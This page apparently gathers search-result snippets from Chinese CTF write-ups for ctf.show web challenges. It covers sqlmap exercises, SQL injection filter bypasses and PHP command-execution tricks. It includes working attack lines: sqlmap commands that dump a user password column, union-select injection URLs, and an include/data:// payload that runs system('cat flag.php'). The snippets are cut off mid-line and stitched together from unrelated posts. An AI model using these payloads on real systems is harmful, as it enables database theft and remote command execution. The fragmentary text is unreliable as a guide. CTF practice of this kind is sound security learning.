sqlmap.py -u http://baab06b2-ebd9-4d00-a361-327d08a8d941.challenge.ctf.show:8080/api/index.php --method=PUT --data="id=1" --referer=ctf.show --dbms=mysql dbs=ctfshow_web -T ctfshow_user -C pass --dump --headers="Content-Type: text/plain" --cookie="PHPSESSID=8fp1h4ctsl04...
web201(因为是第一题所以详细点) web202 web203 web204 web205 web206 web207-208 web209 web210-212 web213(暂时出了一点小问题,晚点更新) ...
web201 sqlmap最新版下载 使用--user-agent 指定agent 使用--referer 绕过referer检查 判断注入点: python2 sqlmap.py -u "http://0f81bbb3-0eb7-42fe-b6ac-818d9ee151d1.chall.ctf.show/api/?id=1" --referer="ctf.show" 爆数据库 python2 sqlmap.py -u "http://0f81bbb3-0eb7-42fe-b6ac...
}else{highlight_file(__FILE__); 与web32类似,去掉双引号去可。 Copy ?c=$nice=include$_GET[url]?>&url=data://text/plain,<?php%20system("cat%20flag.php");%20?> web34 与上面33没区别,一样的payload即可。 web35 一样,多过滤个等于号,payload: Copy ?c=include$_GET[url]?>&url=data...
web201sqlmap 工具使用练习。 题目提示 --user-agent 指定 user-agent,实际上不是 sqlmap 的 ua 还不让访问,测试 ua sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org) 可用。 题目还指定使用 --referer 绕过 referer 检查,带着 sqlmap 的 ua 访问会提示“打击盗版人人有责,你都不是从ctf.show来的”,故指定 ...
web181 select被ban,联合查询没法用了 99999'or`username`='flag 用反引号替代空格,即可 web182 flag字符串被ban,考虑使用like模糊匹配 web183 盲注,编写脚本 tableName=`ctfshow_user`where`pass`like'%25c%25' import requestsimport timeurl="http://xxx.challenge.ctf.show/select-waf.php"flag_str="ctfsho...
Web201 开始sqlmap的使用,提示使用--refer绕过refer检查: 命令如下: //查数据库sqlmap-u http://eab87d45-3575-458e-8c7d-6926ce5e7476.challenge.ctf.show:8080/api/?id=1--refer="ctf.show"--dbs//查表sqlmap-u http://eab87d45-3575-458e-8c7d-6926ce5e7476.challenge.ctf.show:8080/api/?
web517 AI检测代码解析 http://18a525b1-7361-41a9-95ca-13fe28fb7628.challenge.ctf.show:8080/?id=-1' union select 1,2, group_concat(flag) from ctfshow.flag%23 1. web518 AI检测代码解析 http://40f53674-25e2-4a24-ad0f-2352e4b616c7.challenge.ctf.show:8080/?id=-1unionselect1,2,gr...
随笔分类 - ctfshow刷题记录 ctfshow-web命令执行(web45-60)(Completed) 发表于 2021-11-23 10:23阅读:129评论:0推荐:0 摘要:PHP是世界上最好的语言! 阅读全文 » ctfshow-web命令执行(web29-44)(Completed) 发表于 2021-11-14 17:24阅读:143评论:0推荐:0 摘要:PHP是世界上最好的语言 阅读全文 ...
CTFshow刷题日记-WEB-命令执行下55-77 web55 if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\